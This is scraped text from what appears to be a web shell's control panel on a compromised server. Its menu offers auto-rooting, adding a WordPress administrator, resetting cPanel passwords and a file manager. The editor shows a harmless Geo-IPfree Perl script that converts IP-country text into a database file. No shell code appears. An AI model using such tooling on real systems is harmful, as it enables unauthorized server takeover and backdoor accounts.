Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
doc
perl-Geo-IPfree
misc
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: txt2ipct.pl
#!/usr/bin/perl use strict; use warnings; require Geo::IPfree; use IO::Handle; ################################## # CONVERT TXT TO IPSCOUNTRY.DAT # ################################## my $in_fname = $ARGV[0] || './ips-ascii.txt'; my $out_fname = $ARGV[1] || './ipscountry.dat'; my $HEADERS_BLKS = 256; if ( !@ARGV || $ARGV[0] =~ m{^-[h?]}i ) { print qq`This tool will convert the ASCII database (from ipct2txt) to Geo::IPfree dat file. USAGE: perl $0 ./ips-ascii.txt ./ipscountry.dat `; exit; } print "Reading ${in_fname} ...\n"; open( my $in_fh, $in_fname ) or die "unable to open '${in_fname}': $!"; my @DB; while ( my $line = <$in_fh> ) { my ( $country, $ip ) = $line =~ m{^([\w-]{2}):\s+(\d+\.\d+\.\d+\.\d+)}gs; my $range = Geo::IPfree::ip2nb($ip); my $iprange = Geo::IPfree::dec2baseX($range); unshift( @DB, "${country}${iprange}" ); } close($in_fh); my %headers; my $c = 0; my $pos = 0; my $blk_sz = int( @DB / $HEADERS_BLKS ); print "BLK size: $blk_sz\n"; foreach my $DB_i (@DB) { if ( $c == 0 ) { my $iprange = substr( $DB_i, 2 ); my $range = Geo::IPfree::baseX2dec($iprange); $headers{$range} = $pos; } $c++; if ( $c >= $blk_sz ) { $c = 0; } $pos += 7; } print "Saving ${out_fname} ...\n"; open( my $out_fh, '>', $out_fname ) or die "unable to open '${out_fname}': $!"; $out_fh->autoflush(1); my $date = get_date(); print $out_fh qq`############################################################### ## IPs COUNTRY DATABASE ($date) ## ############################################################### ## This is the database used in the Perl module Geo::IPfree. ## ## ## ## FORMAT: ## ## ## ## the DB has a list of IP ranges & countrys, for ## ## example, from 200.128.0.0 to 200.103.255.255 the IPs ## ## are from BR. To make a fast access to the DB the ## ## format try to use less bytes per input (block). The ## ## file was in ASCII and in blocks of 7 bytes: XXnnnnn ## ## ## ## XX -> the country code (BR,US...) ## ## nnnnn -> the IP range using a base of 85 digits ## ## (not in dec or hex to get space). ## ## ## ## To convert this file back to plain text, see the ## ## ipct2txt.pl script shipped with Geo-IPfree. ## ## ## ## Check CPAN for updates... ## ############################################################### `; my $header = join( '#', map { "$_=$headers{$_}" } sort { $b <=> $a } keys %headers ); print $out_fh "\n##headers##" . length($header) . "##${header}"; print $out_fh "\n\n##start##"; print $out_fh $_ for @DB; close($out_fh); print "Done.\n"; sub get_date { my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time); return sprintf( '%d-%02d-%02d %02d:%02d:%02d', $year + 1900, $mon + 1, $mday, $hour, $min, $sec ); }